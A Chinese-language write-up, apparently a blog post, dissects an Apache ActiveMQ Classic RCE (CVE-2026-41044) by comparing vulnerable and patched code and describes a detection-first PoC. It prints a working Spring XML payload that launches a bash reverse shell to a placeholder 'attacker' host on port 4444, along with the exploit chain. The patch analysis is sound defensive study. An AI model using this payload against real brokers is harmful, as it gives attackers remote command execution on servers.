注意:仅供教育目的使用
CVE-2026-41044 于 2026 年 4 月 24 日披露。这是 Apache ActiveMQ Classic 中的一个远程代码执行漏洞,由 jsjcw 发现,已在 5.19.6 和 6.2.5 版本中修复。不是我发现的。
我想展示的是,一个从未接触过 ActiveMQ 的人如何在一个下午内为 N-day 漏洞写出可用的利用代码,因为补丁后的代码是公开的,未打补丁的代码也是公开的,而两者之间的差距只需一次 git diff 即可看到。
流程很简单:
过去需要数天的工作现在只需一个下午。AI 不会发现漏洞。它读取代码并解释代码的速度与你提问的速度一样快。最费力的部分仍然是你自己:判断什么实际上可利用、真正的信任边界在哪里、哪些需要验证。模型只是比任何人都更快地遍历调用图。
更重要的观点是:如果你的打补丁工作流程假设每个 CVE 需要一周的分析时间,那你还在旧的时间线上。无论你是在编写检测规则还是编写利用代码,git diff 的长度都是一样的。
ActiveMQ 是一个消息代理。它位于中间层,在应用程序之间传递消息。可以把它想象成一个邮局:应用程序投递消息,ActiveMQ 将它们送达正确的收件人。它广泛部署在企业 Java 技术栈中,并暴露了一个 Web 控制台和一个名为 Jolokia 的 REST 管理 API,位于 /api/jolokia/。许多部署中的默认凭据仍然是 admin:admin。
ActiveMQ 允许任何经过身份验证的用户从任意 HTTP URL 加载代理配置,Spring 会解析该配置并立即将其作为 Java 对象执行——包括 ProcessBuilder——从而使攻击者能够在代理服务器上获得完整的操作系统命令执行能力。
localhost。/api/jolokia/ 的 HTTP 到 JMX 的桥接器,将管理操作以 REST API 的形式暴露。任何有效的 Web 控制台凭据都可以访问它——不仅仅是管理员。vm:// 传输:当客户端与代理位于同一 JVM 中时使用的进程内传输。它接受一个 ?brokerConfig= 查询参数,指向一个 Spring XML 配置,用于引导代理启动。xbean::一种 URL 方案,告诉 ActiveMQ 将该 URL 视为 Spring XML 配置并加载它。init-method:Spring 读取 XML 并自动创建 Java 对象(bean)。init-method 属性告诉 Spring 在 bean 创建的那一刻调用其上的一个方法——在任何其他代码运行之前。ProcessBuilder:一个标准的 Java 类,用于运行操作系统命令。ProcessBuilder.start() 执行该命令。5.19.2 中的 DestinationView.sendTextMessage() 通过直接将代理名称拼接进字符串来构建代理连接 URL:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
如果 getBrokerName() 返回 localhost?brokerConfig=xbean:http://attacker/poison.xml,那么整个字符串就变成了一个带有内嵌查询参数的有效 vm:// URI。ActiveMQConnectionFactory 将其交给 VMTransportFactory,后者提取出 brokerConfig 参数并将其用作代理的引导配置 URL。
5.19.6 中的修复只有一行:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String 变成了 URI——意外的拼接不再可能发生。该值来自一个预先构建的、不可变的 URI 对象,该对象源自代理实际注册的 VM 连接器,而不是来自可变的名称字符串。
要使第 1 层可利用,必须先对代理名称进行投毒。BrokerService 一直对代理名称进行清理:
// BrokerService.setBrokerName() - 两个版本中都存在
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
该正则表达式可以干净地去除 ? 和 =。CVE 之所以存在,是因为 RegionBroker 有自己独立的 setter,而它没有进行清理:
// 5.19.2 - RegionBroker.java
private String brokerName; // 可变的
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // 完全没有验证
}
这是一个经典的混淆代理问题——相关类上有两个 setter,只有一个进行了清理。远程对等节点广播带有投毒名称字段的精心构造的 BrokerInfo 数据包,直接到达 RegionBroker.setBrokerName(),完全绕过了 BrokerService 的正则表达式。
5.19.6 中的修复删除了 setter,将字段设为 final,并仅从已经清理过的父类初始化一次:
// 5.19.6 - RegionBroker.java
private final String brokerName; // 不可变的
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() 已被删除。不再有 setter。
}
你无法绕过一个没有并行写入者的清理器。
VMTransportFactory.doCompositeConnect() 是获取 vm://...?brokerConfig=... URI、提取 brokerConfig 参数并调用 BrokerFactory.createBroker(brokerURI) 的函数。它是整个攻击链的触发机制。
Apache 在这里完全没有做任何更改。
这个选择告诉你他们是如何思考这个修复的。VMTransportFactory 在做合法的工作——vm:// 传输确实应该接受引导配置。修补它会破坏预期的设计。相反,Apache 在源头(第 2 层:无法写入投毒的名称)和汇点(第 5 层:即使投毒的 URL 通过了,资源解析器也不会获取它)修复了漏洞。
在验证所属的层进行修复,而不是在攻击者恰好经过的层进行修复。
// XBeanBrokerFactory - 两个版本中相同
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // 第 5 层
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) 是 Spring 发挥作用的地方——每个 bean 的 init-method 在上下文构建时运行,早于 ActiveMQ 的 BrokerService 验证结果。这里没有需要修补的地方。Spring 的契约按设计是正确的。漏洞在于 ActiveMQ 依赖验证在实例化之前发生,而 Spring 并不保证这种顺序。
这是决定是否应该获取 xbean:http://attacker/poison.xml 的函数。在 5.19.2 中:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? 没有检查。
} else {
return new ClassPathResource(uri);
}
}
没有协议过滤器。http://、https://、ftp://、jar://——全部静默接受。
5.19.6 的修复添加了一个显式的白名单。默认只允许 file 和 classpath。其他一切在 UrlResource 被构造之前就会抛出异常:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // 如果是 http/https 等则抛出异常
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory 现在传递 {file, classpath} 作为白名单。即使投毒的代理名称在未来的版本中以某种方式到达此函数,http://attacker/poison.xml 也会在 Spring 看到它之前抛出异常。
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
Spring 构造 ApplicationContext 的那一刻,init-method="start" 就会在 ProcessBuilder bean 上触发。ActiveMQ 的 BrokerService.start() 验证在其后运行。到那时,shell 已经反向连接回来了。
有两条路径可以到达存在漏洞的 Utils.resourceFromString 汇点:
完整的生产路径(公告中描述的):
远程对等节点发送精心构造的 BrokerInfo 数据包
-> RegionBroker.setBrokerName() 存储投毒名称,无验证
-> DestinationView.sendTextMessage() 将其拼接进 vm:// URL
-> VMTransportFactory 提取 brokerConfig 参数
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
短路径(poc.sh 使用的):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
PoC 选择短路径是出于实际原因:完整路径需要设置第二个 ActiveMQ 代理作为网络对等节点,向目标发送精心构造的 BrokerInfo 数据包——这是一种代理到代理的交互,需要更复杂的实验室设置。短路径只需要一个代理和一个基本的 HTTP 服务器即可工作。
两条路径都命中相同的漏洞原语。PoC 确认了汇点可利用且目标上存在该 CVE。如果你想复现公告中描述的精确入口点,你需要添加代理到代理的步骤。
PoC 默认以仅检测模式运行。它探测两个信号:
横幅检查 - 通过 Jolokia 读取 BrokerVersion:
< 5.19.6 或 6.0.0 - 6.2.4 = 存在漏洞的版本范围行为检查 - 通过 Jolokia 调用 addNetworkConnector("vm://probe"):
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognized IOException已修补版本上的拒绝来自 BrokerView.validateAllowedUrl()——这是 5.19.6 中直接添加到 addNetworkConnector JMX 操作的一个独立拒绝列表,而不是来自 Utils.resourceFromString。这是两个独立的修复:一个保护 JMX 管理面,另一个保护第 5 层中描述的资源加载原语。行为探测测试的是前者。
| 层 | 存在漏洞(5.19.2) | 已修复(5.19.6) |
|---|---|---|
DestinationView | "vm://" + brokerName 字符串拼接 | broker.getVmConnectorURI() 不可变 URI |
RegionBroker | 可变字段,未清理的 setter | final 字段,setter 已删除,从已清理的父类初始化 |
VMTransportFactory | 未更改 | 未更改(按设计) |
XBeanBrokerFactory | 调用 Utils.resourceFromString(uri) | 调用 Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | 获取任何 URL 方案 | 强制执行白名单——默认仅允许 file 和 classpath |